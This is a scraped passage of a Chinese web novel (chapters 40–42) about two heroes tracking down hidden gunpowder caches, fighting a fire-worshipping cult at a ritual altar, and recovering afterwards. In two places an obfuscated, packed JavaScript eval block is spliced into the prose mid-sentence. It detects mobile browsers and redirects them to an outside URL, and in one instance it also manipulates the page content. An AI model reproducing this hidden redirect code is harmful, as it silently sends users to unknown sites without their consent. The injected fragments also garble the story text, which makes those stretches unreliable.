他拍了拍案上那叠厚厚的卷宗:“刑部和大理寺通宵审阅,现已查明:赵元之子赵文谦,三年前参加江南乡试,文章本可中举,却因名额被张乾外甥顶替而落第。赵文谦四处申告无门,郁郁成疾,次年病逝。赵元自此性情大变。” 谢云辞皱眉:“所以赵元陷害江清砚,嫁祸张尚书,是为了报私仇?” “不止,”皇帝摇头,“朕派人查了赵元这三年的行踪。他发现儿子冤死后,曾试图通过正常途径申诉,但每次都被压下。半年前,他开始频繁出入京城各大茶馆酒肆,暗中收集官员隐私,特别是与科举相关的丑闻。” 江清砚心中一动:“他在收集‘素材’?” “没错,”皇帝眼中闪过一丝冷意,“他收集了十七位官员的罪证,从受贿到舞弊,从枉法到渎职。这次陷害你,嫁祸张乾,只是他整个计划的第一步。” 谢云辞脸色骤变:“他还有什么计划?” 皇帝从卷宗中抽出一份名单,递给两人。 江清砚接过,目光扫过那些名字,呼吸微微一滞。 名单上列着十二位官员,从礼部到吏部,从翰林院到国子监,几乎涵盖了所有与科举相关的要害部门。每个人名后面,都详细标注了罪名、证据存放地点、以及—— “爆破点?”谢云辞念出那个诡异的标注,“这是什么意思?” “赵元在这些人府邸或办公之处,埋设了火药。”皇帝的声音冰冷,“他原计划是:先借科举舞弊案引发朝局动荡,待各方争斗白热化时,引爆这些火药,制造‘天谴’假象。他要让天下人都看到,这些操纵科举、祸乱朝纲的官员,是如何被‘天火’焚灭的。” 御书房内一片死寂。 江清砚感到一股寒意从脊背升起。 疯子。 赵元是个彻头彻尾的疯子。他要的不是简单的复仇,而是要掀翻整个科举体系,要让朝廷颜面扫地,要让天下士子寒心。 “这些火药…”谢云辞艰难地问,“已经埋设了?” “大部分已经,”皇帝揉了揉眉心,“昨夜赵元被捕后,禁军按他供出的地点,起出了九处火药。但还有三处,他说‘忘了具体位置’,要等想起来了再说。” “他在拖延时间,”江清砚立刻反应过来,“或者,他在等人。” 皇帝看向他:“等人?” “赵元一个人,不可能完成这么庞大的计划,”江清砚大脑飞速运转,“收集官员罪证需要人手,埋设火药更需要专业知识和帮手。他背后一定还有人。” 谢云辞补充:“而且赵元在金銮殿上刺杀我,更像是临死前的疯狂之举。如果按原计划,他应该继续隐藏,等待最佳时机引爆火药才对。他为什么会突然改变计划,选择在殿上动手?” 两人对视一眼,都想到了同一个可能: 赵元被人利用了。 有人利用他的仇恨,操纵他布下这个惊天大局,然后在关键时刻——也许是发现事情即将败露,也许是别的什么原因——诱导他提前动手,让他成为弃子。 “陛下,”江清砚抬起头,“赵元现在情况如何?还能审吗?” 皇帝摇头:“失血过多,太医说他最多还能撑两个时辰。而且神智已经不清,时哭时笑,根本问不出什么。” 两个时辰。 江清砚看向谢云辞,后者点了点头。 “陛下,”谢云辞抱拳,“请准臣与江清砚,去天牢见赵元最后一面。” 皇帝盯着他们:“你们有办法让他开口?” “江清砚精通医理,”谢云辞说,“或许…有办法。” 江清砚垂下眼帘。 他知道谢云辞指的是什么——江家禁术中,有一门“摄魂引”,可暂时激发将死之人最后的神智,引导其说出真话。但这术法凶险,对施术者和受术者都是极大的负担。 皇帝沉默良久,最终挥了挥手:“去吧。但记住,无论问出什么,第一时间禀报朕。” “遵旨。” 天牢最深处的死囚牢房,弥漫着血腥与腐朽的气息。 赵元被铁链锁在墙上,断臂处简单包扎过,但纱布早已被血浸透。他垂着头,花白的头发散乱,嘴里含糊不清地念叨着什么。 听到脚步声,他缓缓抬起头。 当看到江清砚时,他浑浊的眼睛里突然爆发出诡异的光芒:“你…你没死?” 江清砚走到牢门前,平静地看着他:“我没死。” “不可能…”赵元喃喃,“阎罗泣…见血封喉…你不可能活…” “但我活了,”江清砚说,“你的计划,失败了。” 赵元的脸色扭曲起来:“失败?不…没有失败…那些火药…会炸的…都会炸的…哈哈哈哈——” 他突然疯狂大笑,笑声在阴森的牢房里回荡,令人毛骨悚然。 谢云辞皱眉,手按上刀柄。 江清砚却只是静静地看着他,等笑声渐歇,才轻声问:“赵大人,令郎在天之灵,真的希望你这样做吗?” 赵元的笑声戛然而止。 他死死盯着江清砚,眼中的疯狂渐渐褪去,取而代之的是一种深入骨髓的悲哀。 “文谦…”他喃喃念着儿子的名字,老泪纵横,“我的文谦…他那么聪明…那么用功…他说要考取功名,让我过上好日子…他说…” 他的声音哽咽,说不下去了。 江清砚的声音依旧平静,却带着一种奇异的力量:“赵大人,令郎的冤屈,陛下已经知晓。张乾外甥顶替功名一事,朝廷会重新审查,还令郎清白。” 赵元猛然抬头:“真…真的?” “君无戏言。”江清砚说,“但那些火药,必须拆除。那些无辜的人,不该为令郎陪葬。” 赵元的表情挣扎起来,似乎在理智与疯狂之间摇摆。 江清砚抓住时机,从袖中取出三根细如牛毛的银针。针尖在昏暗的牢房里泛着幽蓝的光——这不是毒,而是一种能暂时激发神智的药。 “赵大人,”他轻声说,“告诉我最后三处火药的位置,告诉我,是谁在帮你。” 赵元的眼神开始涣散,他盯着那三根银针,嘴唇颤抖:“不…不能说…说了…他们会杀了我女儿…” 女儿? 江清砚和谢云辞同时一震。 赵元竟然还有个女儿? 刑部卷宗里明明写着:赵元妻早逝,只有一子赵文谦,三年前病故。他哪来的女儿? “他们在哪?”江清砚追问,“你女儿在哪?” “不知道…他们带走了她…”赵元的神情突然变得恐惧,“他们说…只要我按计划做…做完就放了她…可是…可是他们骗我…他们让我去殿上杀人…那是送死…我死了…我女儿怎么办…” 他的声音越来越低,神智又开始模糊。 江清砚不再犹豫,手腕一抖,三根银针精准地刺入赵元头顶三处大穴。 赵元浑身一震,眼睛猛地睁大,瞳孔中泛起异样的清明——那是生命最后时刻的回光返照。 “说,”江清砚的声音带着不容抗拒的力量,“火药在哪?你女儿在哪?那些人是谁?” 赵元的嘴唇哆嗦着,一串地址和名字从他口中吐出: “城东…慈恩寺…地藏殿佛像下…” “国子监…藏书阁…三楼东角…” “张乾府…后院…假山洞…” “我女儿…在…在…” 他的声音突然卡住,眼睛死死瞪着牢房顶部的阴影处,像是看到了什么极其恐怖的东西。 “在…在…” 他拼命想说,却只能发出“嗬嗬”的气音。 江清砚顺着他的目光看去——那里只有一片黑暗。 但谢云辞却猛地拔刀,身形如电般扑向那片阴影! 刀光闪过,黑暗中传来金属碰撞的声音。一道黑影从梁上翻下,手中短剑直刺赵元咽喉! 谢云辞横刀格挡,两刃相交,火花四溅。 那黑衣人见一击不中,立刻抽身后退,同时甩出三枚袖箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江清砚在寺外观察片刻,绕到后墙,寻了处僻静角落,纵身翻墙而入——谢云辞教过他一些轻身功夫,虽然不高明,但翻墙足够了。 寺内果然空无一人。 他按照赵元所说,找到地藏殿。殿内阴森,数十尊佛像或怒目或慈悲,在昏暗的光线下显得格外诡异。 江清砚来到主佛像前,这是一尊地藏王菩萨像,高达两丈,宝相庄严。他绕到佛像背后,果然发现底座有一处暗格。 暗格没有锁,轻轻一推就开了。 里面是一个木箱,箱盖掀开,露出满满一箱□□,引线已经接好,末端连着一支计时香——香已烧了大半,只剩不到一寸。 江清砚的心跳漏了一拍。 他立刻掐灭计时香,然后小心翼翼地将引线拆除。做完这一切,他才松了口气,伸手去搬那箱火药—— 就在他的手触及木箱的瞬间,异变突生! 佛像背后,一道暗门悄无声息地滑开。门内伸出一只手,手中拿着一块浸了药的手帕,以迅雷不及掩耳之势捂住了江清砚的口鼻! 江清砚只来得及吸入一丝甜腻的气味,就感到天旋地转,眼前一黑。 失去意识前的最后一瞬,他看到暗门内,一双眼睛正冷冷地看着他。 那双眼睛的瞳孔深处,似乎有火焰在燃烧。 谢云辞那边也不顺利。 他在张乾府后院假山洞里找到了第二处火药,拆除时却触动了机关,险些被暗箭射中。而国子监藏书阁的那处,竟然是空的——火药已经被人提前取走了。 一种不祥的预感涌上心头。 他立刻赶往慈恩寺。 地藏殿内,佛像后的暗格敞开着,木箱还在,火药也在,但江清砚不见了。 地上有挣扎的痕迹,还有一块掉落的白玉簪——那是江清砚束发用的。 谢云辞捡起玉簪,手指收紧到骨节发白。 他强迫自己冷静下来,仔细观察现场。暗门还没完全关上,他推开走进去,发现里面是一条狭窄的密道,蜿蜒向下,不知通向何处。 密道墙壁上,有人用血画了一个箭头,旁边还有一行小字: “欲救人,独来。” 字迹潦草,显然是匆忙间留下的。 谢云辞盯着那行字,眼中寒光凛冽。 他知道这是个陷阱。 但他必须去。 没有犹豫,他握紧刀,踏入了密道。 黑暗,吞噬了他的身影。 皇宫,御书房。 皇帝听着暗卫的禀报,脸色越来越沉。 “江清砚被掳,谢云辞孤身去救,”他缓缓重复,“而国子监的火药不翼而飞,张乾府的火药是诱饵,只有慈恩寺那处是真的——但也是诱饵的一部分。” 暗卫低头:“是。对方的目标,从一开始就是江清砚和谢云辞。” 皇帝闭上眼,半晌,睁开时眼中已是一片冰冷: “查。动用所有暗线,查‘烛龙之眼’是否死灰复燃。另外,派人暗中接应谢云辞,但不要打草惊蛇。” “遵旨。” 暗卫退下后,皇帝走到窗边,看着窗外暮色四合的天空。 “江家…谢家…”他喃喃自语,“当年的账,终究是要算了。” 夕阳如血,染红了半个京城。 一场更大的风暴,正在悄然酝酿。 而风暴的中心,正是那两个生死与共的年轻人。 41. 第 41 章 第四十一章联手审讯 黑暗。 粘稠的、仿佛有实质的黑暗,包裹着江清砚的感官。 他在一片混沌中挣扎,意识像是沉在深水底部,每一次想要浮起,都被无形的力量拽回。耳边有模糊的声音,忽远忽近,像是隔着水面听到的人语。 “……确定是他?” “错不了。江家的‘青木生机’,只有嫡系血脉才可能觉醒。” “那个谢家的小子呢?” “跟来了。按计划,他应该已经进了密道。” “好。猎物都入网了。” 江清砚努力想要听清,但意识再次沉沦。 不知过了多久,一股刺鼻的气味钻入鼻腔——是醒神草的味道。他猛地呛咳起来,睁开沉重的眼皮。 光线昏暗。他发现自己被绑在一张冰冷的石椅上,双手反剪在背后,粗糙的麻绳勒进皮肉。视线逐渐清晰,他看清了所处的环境:一个石室,墙壁上插着火把,火光跳动,映出墙上诡异的壁画——那是燃烧的眼睛图腾,与黑衣令牌上的图案一模一样。 石室中央站着三个人。 为首的是个中年男人,身穿灰布长衫,面容普通得扔进人堆就找不到,唯有一双眼睛异常锐利,瞳孔深处仿佛真的有火焰在跳动。他左侧是个驼背老者,拄着拐杖,眼睛眯成一条缝;右侧则是个年轻女子,容貌清秀,但眉宇间有股挥之不去的阴郁。 “醒了?”中年男人开口,声音沙哑,“江清砚,江家最后一人。我们找了你很久。” 江清砚没有回应,他在迅速评估自己的状况:被缚,药物残留导致四肢无力,但心脉处的青木生机正在缓慢复苏,与谢云辞的联结虽然微弱,但依然存在——这意味着谢云辞还活着,而且离得不远。 “不用费心感受了,”那女子突然开口,声音清脆却冰冷,“你和谢云辞之间的‘共生之契’,我们很熟悉。五十年前,江家家主和谢家那位,也曾结过这样的契约。” 江清砚心头一震。 五十年前?江家与谢家? 他从未听说过两家有过这样的渊源。家族记载中,江家世代行医,避世而居;谢家则是武将世家,镇守边关。这两家怎么会扯上关系? “看来你真的什么都不知道,”中年男人走近几步,俯视着他,“你父母为了保护你,连家族真正的历史都没告诉你。” “什么历史?”江清砚终于开口,声音干涩。 “江家和谢家,曾是大周开国时最忠诚的守护者,”驼背老者接过话,声音苍老如破风箱,“江家掌医毒秘术,司长生;谢家掌兵戈杀伐,司镇守。两家世代联姻,血脉交融,共同守护一个秘密——大周的龙脉所在。” 龙脉? 江清砚的呼吸急促起来。这已经超出他的认知范畴了。 “五十年前,一场变故,”中年男人继续说,眼中闪过一丝狂热,“当时的皇帝怀疑江谢两家有不臣之心,欲除之而后快。一夜之间,江家满门被屠,谢家也被贬斥流放。只有少数人逃了出来,隐姓埋名,苟延残喘。” “我们‘烛龙之眼’,就是那些幸存者的后裔。”年轻女子补充道,“我们一直在等待,等待江谢两家的血脉重新觉醒,等待复仇的时机。” 江清砚盯着他们:“所以你们设下这个局,就是为了引我和谢云辞来?” “不全是,”中年男人摇头,“赵元那个疯子,确实是我们煽动的。他的仇恨是极好的燃料,能帮我们搅乱朝局。但我们没想到,他会提前暴露——更没想到,江谢两家的传人,竟然会在这个时候出现,还结成了‘共生之契’。” 他眼中闪烁着奇异的光芒:“这是天意。江清砚,加入我们。用你的医术和毒术,用谢云辞的武力,我们一起,让那个毁了我们家族的朝廷付出代价。” 江清砚沉默片刻,忽然笑了:“你们是不是误会了什么?” 三人一愣。 “第一,我父母确实死于非命,但凶手不是朝廷,”江清砚的声音平静而清晰,“我记得那些黑衣人,他们搜查时说的是‘江家秘术不能留’。如果朝廷要灭江家满门,何须藏头露尾?直接派兵剿灭即可。” “第二,谢云辞查谢家血案多年,所有线索都指向宫闱深处。但你们所说的五十年前旧事,与谢家近年血案的时间对不上。” “第三,”他顿了顿,目光扫过三人,“也是最重要的一点——你们若真是江谢两家幸存者的后裔,为何要杀赵元灭口?又为何要用这种下作手段绑架我?” 驼背老者的脸色变了。 年轻女子眼神闪烁。 唯有中年男人依旧镇定:“你很聪明。但聪明人往往死得早。” “或许,”江清砚淡淡道,“但在我死之前,我想知道真正的答案——你们到底是谁?真正的‘烛龙之眼’,又是什么?” 中年男人盯着他看了很久,忽然叹了口气:“罢了,反正你也活不过今晚,告诉你也无妨。” 他挥了挥手,驼背老者和年轻女子退到一旁。 “我们确实不是江谢两家的后裔,”中年男人坦然承认,“‘烛龙之眼’也不是什么幸存者组织。它是一个教派,信奉上古烛龙,认为世界终将被火焰净化,而我们是执行者。” 江清砚的心沉了下去。 “五十年前,江谢两家确实曾守护一个秘密,但不是什么龙脉,而是一处上古遗迹的入口,”中年男人的声音带着一种近乎虔诚的狂热,“那遗迹中,藏着能让凡人获得神力的宝物。当时的皇帝想要,江谢两家不肯交出,于是——” “于是你们趁火打劫,”江清砚接话,“假传圣旨,屠了江家满门?” “聪明,”中年男人笑了,“可惜聪明得太迟了。我们找了五十年,终于找到了江家最后的血脉——你。更妙的是,你还和谢家那个小子结了‘共生之契’。只要用你们的血献祭,就能打开遗迹的封印。” 原来如此。 江清砚终于明白了所有的前因后果。 父母之死,谢家血案,赵元被利用,甚至科举舞弊案——这一切,都是为了引出他和谢云辞,为了那个所谓的“上古遗迹”。 “谢云辞呢?”他问,“你们打算怎么对付他?” “他应该已经落入陷阱了,”年轻女子冷笑,“密道里布满了机关和迷药,就算他能闯过来,也是强弩之末。到时候,用你的命威胁他,他还能不乖乖就范?” 江清砚闭上眼睛。 他不能慌。必须想办法。 通过“共生之契”,他能模糊感知到谢云辞的状态:还活着,但在战斗,气息紊乱,显然遇到了麻烦。他能做的,只有拖延时间,同时…… 等等。 江清砚忽然意识到一件事。 既然“烛龙之眼”的目标是用他们的血献祭,那么在献祭之前,他们不会杀他。这是他的机会。 他深吸一口气,睁开眼睛:“你们需要我和谢云辞的血,但你们有没有想过——‘共生之契’一旦结成,两人的血脉已经交融。如果其中一个死了,另一个也会受到重创,甚至血脉之力会消散。” 中年男人皱眉:“你想说什么?” “我是说,你们不能杀我,也不能杀谢云辞,”江清砚的声音很稳,“至少,在献祭之前,必须保证我们都活着,而且状态完好。否则,血脉之力不足,你们五十年的谋划就全白费了。” 三人的脸色都变了。 显然,他们没有考虑到这一点。 “他在拖延时间,”驼背老者突然厉声道,“别跟他废话!直接带去祭坛,等谢家小子到了,立刻开始献祭!” 中年男人犹豫了一下,最终点头:“带走!” 年轻女子上前,解开江清砚脚上的绳子,只留手上的束缚,推着他往石室深处走去。 石室后有一条狭窄的通道,蜿蜒向下。走了约莫一刻钟,眼前豁然开朗—— 一个巨大的天然溶洞。 溶洞中央是一个石台,台上刻满了诡异的符文,形成一个巨大的法阵。法阵中央有两个石柱,柱上挂着铁链,显然是用来绑人的。 四壁插着火把,火光在洞顶的钟乳石上跳跃,投下憧憧鬼影。溶洞四周,还站着十几个黑衣人,全都蒙着面,沉默如石像。 这就是祭坛。 江清砚被推到一根石柱前,铁链锁住了他的手腕和脚踝。他抬头,看向对面那根空着的石柱——那是给谢云辞准备的。 “他来了。”年轻女子突然说。 话音刚落,通道口传来打斗声。 谢云辞的身影出现在洞口,浑身是血,衣衫破碎,但眼神依旧锐利如刀。他手中握着一把卷刃的绣春刀,刀尖滴着血。 他身后,倒着七八个黑衣人。 “放了他,”谢云辞的声音嘶哑,却带着不容置疑的杀气,“否则,我让你们全部陪葬。” 中年男人笑了:“谢大人果然勇武。但你觉得,你还有力气杀多少人?” 谢云辞确实已经到了极限。 密道里的机关和迷药消耗了他大半体力,一路杀过来更是伤痕累累。他能站着,全凭一口气撑着。 但他不能倒。 江清砚在那里,被锁在石柱上,脸色苍白,却对他微微摇头——别冲动。 “你要什么?”谢云辞问,“钱?权?还是别的?” “我们要的,是你和他的血,”中年男人指着江清砚,“准确地说,是你们血脉交融后的‘共生之血’。那是打开上古遗迹的唯一钥匙。” 谢云辞瞳孔一缩。 上古遗迹?钥匙? 他瞬间明白了——这伙人,就是造成江家灭门、谢家血案的元凶。五十年的谋划,原来是为了这个。 “如果我不同意呢?”他缓缓举刀。 “那你只能看着他死,”中年男人走到江清砚身边,手中多了一把匕首,抵在江清砚颈侧,“‘共生之契’确实会让你们同生共死,但在献祭法阵中,我们可以剥离你的血脉,只留他的——虽然效果会打折扣,但总比没有强。” 谢云辞的手指捏得发白。 就在这时,江清砚突然开口:“云辞,还记得我在天牢里跟你说的‘摄魂引’吗?” 谢云辞一愣。 江清砚继续说:“那门禁术,不仅可以激发将死之人的神智,还可以……反向施展。” 中年男人脸色骤变:“你闭嘴!” 但已经迟了。 江清砚闭上眼,嘴唇快速翕动,念出一串晦涩的咒文。那声音不大,却仿佛带着某种诡异的韵律,在溶洞中回荡。 “快阻止他!”驼背老者厉喝。 年轻女子冲上前,却被江清砚猛地睁开的眼睛吓了一跳——那双眼睛里,闪烁着青金色的光芒! 与此同时,谢云辞感觉到,通过“共生之契”,一股奇异的能量正从江清砚那边传递过来。那不是内力,也不是生命力,而是……某种精神层面的力量。 他福至心灵,立刻明白了江清砚的意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863517|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “摄魂引”反向施展,不是控制别人,而是将自己的意识与对方连接,强行共享记忆、感知、甚至……痛苦。 江清砚要用这招,拖住这些人,为他制造机会! 谢云辞不再犹豫,趁着那三人被江清砚的异状吸引注意力,身形猛地暴起! 刀光如雪! 离他最近的两个黑衣人根本来不及反应,咽喉已经被割开。 “杀了他!”中年男人怒吼。 十几个黑衣人一拥而上。 但谢云辞此刻的状态,与刚才截然不同。 他感觉到江清砚的意志加持在自己身上,思维前所未有的清晰,身体的每一处伤痛都被暂时屏蔽,甚至连挥刀的角度和力道,都像是经过了最精准的计算。 这不是他的力量。 这是江清砚通过“共生之契”,将自己的精神力和战斗本能分享给了他! 刀光所过之处,血花绽放。 谢云辞如同修罗附体,在人群中杀出一条血路,直扑祭坛! 中年男人见状,眼中闪过一丝狠厉,手中匕首猛地刺向江清砚心口——既然得不到,那就毁掉! 江清砚不闪不避,只是死死盯着他,眼中青金色光芒大盛。 中年男人的动作突然僵住了。 他看到了……不,是感觉到了。 感觉到匕首刺入皮肉的疼痛,感觉到血液流失的冰冷,感觉到心脏逐渐停止跳动的绝望—— 那是江清砚通过“摄魂引”,强行让他共享了自己的濒死体验! “啊啊啊——”中年男人惨叫一声,匕首脱手落地,抱着头跪倒在地,浑身抽搐。 年轻女子和驼背老者想要上前,却也被那诡异的精神冲击波及,动作慢了半拍。 就是这半拍,决定了生死。 谢云辞已经杀到。 刀光闪过,年轻女子的喉咙被割开;反手一刀,驼背老者的头颅飞起。 鲜血喷溅在祭坛的符文上,那些诡异的符号竟像是活过来一般,开始发出暗红色的光芒。 谢云辞顾不上这些,一刀劈断江清砚身上的铁链,将人护在身后:“怎么样?” 江清砚脸色白得吓人,七窍又开始渗血——强行施展反向“摄魂引”,对他的精神造成了巨大损伤。 “还…还好,”他虚弱地说,“快走…这个祭坛…要启动了…” 话音未落,溶洞开始震动。 祭坛上的符文光芒越来越盛,整个法阵像是被鲜血激活,开始疯狂抽取溶洞中的某种能量。石壁上的钟乳石纷纷断裂坠落,地面裂开一道道缝隙。 “走!”谢云辞抱起江清砚,往通道冲去。 剩下的黑衣人想要阻拦,却被坠落的巨石砸中,惨叫声被淹没在轰隆巨响中。 通道也在崩塌。 谢云辞拼尽最后力气,护着江清砚,在碎石和烟尘中狂奔。身后,祭坛的方向传来一声恐怖的巨响,紧接着是刺眼的白光—— 整个溶洞,塌了。 当谢云辞抱着江清砚冲出密道,回到慈恩寺地藏殿时,身后的入口已经被彻底掩埋。 月光从殿顶的天窗洒下,照着一地狼藉。 谢云辞将江清砚小心放在地上,自己也瘫坐在地,大口喘息。他身上的伤口又开始渗血,体力彻底耗尽。 江清砚勉强撑着坐起,看着他满身的伤,眼中闪过一丝痛色:“你……” “我没事,”谢云辞扯出一个笑容,“你呢?刚才那是……” “江家禁术,‘摄魂引’的反向用法,”江清砚轻声解释,“可以将自己的感知强加给他人。我让他们体验了我的濒死感,他们一时承受不住,才给了你可乘之机。” 谢云辞想起中年男人抱头惨叫的样子,心有余悸:“这招……代价很大吧?” 江清砚没有回答,但苍白的脸色已经说明了一切。 两人沉默了片刻。 “他们说的上古遗迹……”谢云辞开口,“你相信吗?” 江清砚沉默良久:“我父母留下的手札里,确实提到过‘祖地封印’。但我一直以为那只是家族传说。” “所以可能是真的,”谢云辞神色凝重,“而且,这些人为了打开封印,谋划了五十年,杀了江谢两家那么多人……” 他看向江清砚:“我们必须查清楚。为了你父母,也为了我谢家。” 江清砚点头,却又蹙眉:“但现在线索都断了。那些人全死了,溶洞也塌了。” “未必,”谢云辞忽然想起什么,“那个中年男人,在最后关头,似乎想说什么……” 他仔细回忆当时的场景——中年男人抱头惨叫时,嘴唇好像在动,说了什么…… “眼睛……”谢云辞喃喃,“他说‘眼睛在看着’……” 眼睛? 江清砚猛然想起那些壁画,那个燃烧的眼睛图腾。 “烛龙之眼……”他低声说,“如果那不仅是个教派名字呢?如果……真的有‘眼睛’在看着一切?” 两人对视,都感到一股寒意从脊背升起。 月光越发清冷,地藏殿内的佛像在阴影中沉默,仿佛真的有一双眼睛,在暗中注视着这一切。 远处传来马蹄声和呼喊——是六扇门的人找来了。 但江清砚和谢云辞都知道,这件事,还远没有结束。 真正的幕后黑手,可能还在某处,静静地等待着。 等待着他们,一步一步,走向那个埋藏了五十年的秘密。 42. 第 42 章 第四十二章缓缓苏醒 黑暗褪去时,先感受到的是疼痛。 全身的骨头像是被拆开又重组过,每一寸肌肉都在尖叫,尤其是心口的位置,那种熟悉的、被撕裂的钝痛,提醒着江清砚自己还活着——以一种极其糟糕的状态。 他试图睁开眼,眼皮却沉重得像是压了铅。耳边传来模糊的人声,脚步声,还有瓷器碰撞的轻响。鼻尖萦绕着一股熟悉的药香——是谢云辞府上常备的金疮药和安神香。 这里是谢府。 这个认知让江清砚紧绷的神经稍微放松了一些。他努力集中精神,调动起残存的感知,去感受那个通过“共生之契”与他紧密相连的存在。 谢云辞的气息就在附近,平稳但虚弱,像是烛火摇曳却未熄灭。更近的地方,有人在低声交谈: “烧退了,脉象也稳住了,但精神耗损太过,恐怕要昏睡几日。”是太医令的声音。 “他什么时候能醒?”谢云辞的声音,沙哑得厉害。 “不好说。江公子这次强行施展禁术,又受了‘摄魂引’的反噬,心脉旧伤反复……”太医令顿了顿,“谢大人,你自己的伤也不轻,该歇息了。” “我等他醒。” “你已经守了两天两夜了!再这样下去——” “我等他醒。”谢云辞重复,语气里是不容置疑的坚持。 脚步声远去,门被轻轻带上。 然后是寂静。 江清砚能感觉到谢云辞靠近了床榻,一只手轻轻覆上他的额头,指尖带着凉意,动作却温柔得近乎小心翼翼。 “江清砚,”谢云辞的声音低得几乎听不见,“你答应过要信我,等我。现在我在这里等你,你也要守约。” 那只手移到他手腕处,三根手指搭上脉门。江清砚能感觉到一股微弱但温暖的内力,顺着经脉缓缓流入,温和地梳理着他体内紊乱的气息。 他在为自己疗伤——即使他自己也伤得不轻。 江清砚的心口突然涌上一股酸涩的情绪。他拼尽力气,终于掀开了沉重的眼皮。 光线刺眼,他眯了眯眼,视线模糊了好一阵才逐渐清晰。 谢云辞就坐在床边的圆凳上,穿着一身素白中衣,外罩松垮垮披着一件墨色外袍。他肩头的纱布还隐隐透出血色,脸色苍白,眼下是浓重的青黑,下巴冒出了一圈胡茬,整个人看起来憔悴不堪。 但那双眼睛,在看到江清砚睁眼时,瞬间亮了起来,如同拨云见日。 “你醒了?”谢云辞的声音带着不敢置信的颤抖。 江清砚想说话,喉咙却干涩得发不出声音,只能轻轻眨了眨眼。 谢云辞立刻会意,起身倒了温水,小心翼翼扶他半坐起来,将杯沿凑到他唇边。温水润过干裂的嘴唇和喉咙,江清砚缓了好一会儿,才发出沙哑的声音: “……几天了?” “三天。”谢云辞放下杯子,手却没有松开他的肩膀,保持着支撑的姿势,“太医说你能醒过来,已经是奇迹。” 江清砚缓缓转动视线,打量房间。这是谢云辞卧房隔壁的厢房,陈设简单但雅致,窗边矮几上放着药炉,炉火微红,药香袅袅。窗外天色是傍晚的暗蓝,几颗星子已经开始闪烁。 “你……”他的目光落回谢云辞身上,“你的伤……” “皮肉伤,死不了。”谢云辞说得轻描淡写,但江清砚能通过“共生之契”感觉到他肩胛骨处传来的持续钝痛,还有内息虚浮的虚弱感。 这人又在逞强。 江清砚想要抬手,却发现手臂沉重得不听使唤。他只好用眼神示意:“躺下,我看看。” 谢云辞愣了愣,随即明白他的意思,苦笑道:“江大夫,你现在这样,还是先顾好自己吧。” “我看。”江清砚坚持,眼神清澈而固执。 谢云辞拗不过他,只能小心地扶他靠稳,自己则坐回床边,解开外袍和中衣的系带,露出肩头层层包裹的纱布。 纱布已经换过,但渗出的血迹还是将最里层染成了暗红色。江清砚目光扫过,眉头就蹙了起来——伤口位置靠近琵琶骨,再偏一点就会伤及筋脉,影响整条手臂的活动。而纱布边缘隐约可见的皮肤颜色发暗,那是余毒未清的迹象。 “他们用了‘阎罗泣’的变种,”谢云辞主动解释,“毒性不如原版猛烈,但更难清除。太医说需要慢慢拔毒。” 江清砚闭目凝神,沉入内视。心口处的青木生机虽然微弱,但已经重新凝聚,正缓慢地滋养着受损的心脉。他小心地引导出一丝,通过“共生之契”的联结,缓缓渡向谢云辞的伤处。 谢云辞身体一震:“别!你——” “别动。”江清砚的声音依旧虚弱,却带着不容抗拒的意味。 青木生机如春日暖流,温柔地包裹住谢云辞肩头的伤处。谢云辞能清晰地感觉到,那折磨了他三天的灼痛和麻痹感正在一点点消退,伤口深处的余毒像是遇到克星,迅速分解消散。 但这过程对江清砚的消耗显而易见。他的脸色以肉眼可见的速度变得更白,额头上渗出细密的冷汗,呼吸也急促起来。 “够了!”谢云辞强行切断了两人的联结,握住江清砚冰凉的手,“不要再耗你的生机了。” 江清砚睁开眼,眼中带着疲惫,却也有几分满意:“余毒清了七八成,剩下的……喝几副药就能排干净。”他顿了顿,补充道,“下次别硬撑,毒素淤积久了,会损伤根基。” 谢云辞看着他,忽然不知道该说什么。 这个人,自己刚从鬼门关爬回来,醒来的第一件事,却是先给他疗伤。 “你总是这样,”谢云辞的声音低哑,“先顾别人,再顾自己。” 江清砚微微歪头,似乎在认真思考这个问题,然后给出了一个理所当然的回答:“你是谢云辞。” 因为你是谢云辞。 所以值得。 谢云辞的心脏像是被什么狠狠撞了一下,又酸又软。他握紧江清砚的手,感觉到对方指尖的凉意,便用掌心包裹着,试图传递一点温度。 “慈恩寺那边……”江清砚想起正事。 “陛下派人处理了,”谢云辞神色严肃起来,“溶洞彻底坍塌,埋得很深,暂时无法挖掘。但在地藏殿和周边搜出了不少东西——‘烛龙之眼’的信物、一些残缺的典籍,还有……这个。” 他从怀中取出一块布帛,小心翼翼地展开。 那是一张残破的地图,材质非纸非绢,触手柔韧冰凉,像是某种兽皮硝制而成。地图大部分已经腐朽,只剩一角还算清晰,上面用暗红色的颜料画着复杂的山川走势,中心处标注了一个眼睛形状的图腾,图腾下方有几个模糊的古文字。 江清砚凝神辨认,缓缓念出:“……龙眠之地?” “陛下请了几位精通古文字的老学士,他们认出了这种文字,是前朝皇室祭祀专用的‘天篆’,”谢云辞压低声音,“那几个字完整的应该是‘烛龙眠息之地’。” 烛龙眠息之地。 这和中年男人说的“上古遗迹”吻合了。 “地图是从哪里找到的?”江清砚问。 “地藏殿佛像的莲座下,有一个暗格,”谢云辞说,“除了这张残图,还有一卷手札,用的是江家特制的药水密写,遇热显形。” 江清砚呼吸一滞:“手札内容……” 谢云辞沉默片刻,才道:“是你父亲留下的。” 房间里突然安静得能听到药炉里炭火轻微的噼啪声。 江清砚闭上眼睛,好一会儿才重新睁开,眼中情绪翻涌,最终归于一片沉静:“写了什么?” 